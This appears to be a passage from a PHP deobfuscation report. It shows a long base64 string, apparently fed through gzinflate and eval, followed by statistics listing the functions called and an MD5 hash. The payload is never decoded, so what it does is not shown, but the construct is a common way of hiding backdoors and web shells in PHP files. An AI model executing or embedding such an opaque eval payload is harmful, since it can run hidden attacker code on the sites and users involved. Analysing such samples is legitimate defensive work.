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')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 c2f28d749f751ce2430e497ca3795af3
Eval Count 1
Decode Time 567 ms